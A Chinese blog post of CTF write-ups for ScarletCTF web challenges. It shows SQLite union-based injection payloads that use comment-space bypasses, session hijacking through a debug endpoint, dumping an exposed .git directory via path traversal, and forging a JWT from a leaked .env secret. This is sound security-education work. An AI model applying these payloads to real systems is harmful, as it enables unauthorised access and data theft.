902 字
5 分钟
scarletCTF-web

Commentary#

这个题目没有给链接,只有ctf.rusec.club,但是直接访问之后会跳转到比赛平台所在的页面

ctf.rusec.club是一个托管了反向代理的服务器,在 CTF 环境里,这通常意味需要通过 IP 直接访问来绕过域名解析的限制

就是说通过我们ssh连接上我们自己的服务器,然后ping ctf.rusec.club,就能看到IP地址5.161.91.13,浏览器直接访问,显示Welcome to nginx!,然后CTRL U即可看到flag

<!-- you found me :3 --!>
<!-- RUSEC{truly_the_hardest_ctf_challenge} --!>

Campus_one#

(复现这道题目的时候比赛环境已经关闭了,需要自己docker本地搭建,但是我的docker出了些问题,搞了一阵解决了)

随便登陆,抓一下包就能发现Cookie:session_id,那么我们就可以想到获得一个admin权限的session_id,找一个api接口/api/debug/sessions,可以看到

{"system_status":"active","debug_mode":true,"active_sessions":[{"sessionId":"admin_session_44920_x8z","user":"admin_root","role":"administrator"},{"sessionId":"student_session_v5rm6gt491","user":"a@qq.com","role":"student"}]}

那么我们就尝试用给定的sessionid(admin_session_44920_x8z)去登陆看看,然后访问admin接口。侧边栏就会出现overview、orders、system settings三项侧边栏。 order那里可以发现一个搜索栏order search,那么攻击点大概率就是这里了。然后搜索框随便输入内容点击搜索,再回去看bp,可以发现

GET /api/admin/search?q=aaaaaaaaaaaaa HTTP/1.1

那么可以考虑从sql注入下手。

'/**/or/**/1=1--+

欸成功了 [campus_sql.png] 使用指令'/**/order/**/by/**/5--+到6时显示

{"query":"'/**/order/**/by/**/6-- ","results":[{"error":"1st ORDER BY term out of range - should be between 1 and 5"}],"count":1}

得知有5列,union select可以发现有5个回显位

"order_id":1,"customer_email":2,"item":3,"status":4,"amount":5

可以用

'/**/union/**/select/**/1,2,3,name,5/**/from/**/sqlite_master--+

看看先,有个secret,爆这个看到key跟value,然后继续看

'/**/union/**/select/**/1,2,3,key,value/**/from/**/secrets--+

就能看到flagRUSEC{S3ss10n_H1j4ck1ng_1s_Fun_2938} [campus_flag.png]

SWE Intern at Girly Pop Inc#

根据第二页开发者文档得知:可以通过/view?page=进行路径遍历,大部分是File not found or access denied.不过如果可以访问,则会返回静态文件 根据页面提示:部署方式:通过 Git 钩子实现自动化,访问git目录,目的去重建git目录。访问../.git/config,然后尝试递归创建目录。

这个题目给了俩工具:GitDumper和GitHack。但是这两个工具都有缺陷——GitDumper下载不到完整的 git 结构,因此用不了 git 命令;远程的 .git 中有悬空对象,GitHack 是没办法下完整的。所以这两个工具结合起来用。

git-dumper http://localhost:8084/view?page=../.git/ dump_repo

接下来还原源码

git reset --hard

看到HEAD is now at 9e26820 removed flag 再查看Git历史

git log

可以看到commit找到flag的位置,成功得到flagRUSEC{a1way$_1gnor3_3nv_f1l3s_up47910k390cyhu623}

mole-in-the-wall#

右上角有一个 Staff Partol,要求输入token,一下子可以想到的时之前做过的JWT题目,还有提示在/debug/config目录下有一个json文件,访问/debug/config/security.json可以得到这个json文件。

{
"audience": null,
"issuer": null,
"jwt": {
"algorithm": "HS256",
"required_claims": {
"department": "security",
"role": "nightguard",
"shift": "night"
}
},
"notes": "JWT secret was scooped at runtime - Mike Schmidt"
}

这里能知道加密算法HS256,然后结合notes去访问一下/debug/config/.env 文件,返回

{
"JWT_SECRET": "g0ld3n_fr3ddy_w1ll_a1ways_b3_w@tch1ng_y0u"
}

密钥能拿到手的话,那就是跟最开始的想法一样了,JWT.io生成token。 把这个token传入之后可以得到一个压缩包,其中有一个文件<root><network><path>/api/run-flow</path></network></root>泄露了api接口,/api/run-flow, 访问接口,显示{"error":"invalid input"}那估计是要提交一个json格式payload。但是有一点需要注意,就是session.log中的u$bu_qvsqm4_hvz会把每个字符的ascii码减一。那么知道了前面的条件,向 /api/run-flow 传入 {"input":"t#at_purpl3_guy"},就能成功获得 flag

Miss-Input#

这个题目web+binary。虽然拜托队友姐看了一下,发了点小工具和内容给我,但仍然有点力竭。skip---orz

scarletCTF-web
https://fuwari.vercel.app/posts/scarletctf/
作者
BIG熙
发布于
2026-01-22
许可协议
CC BY-NC-SA 4.0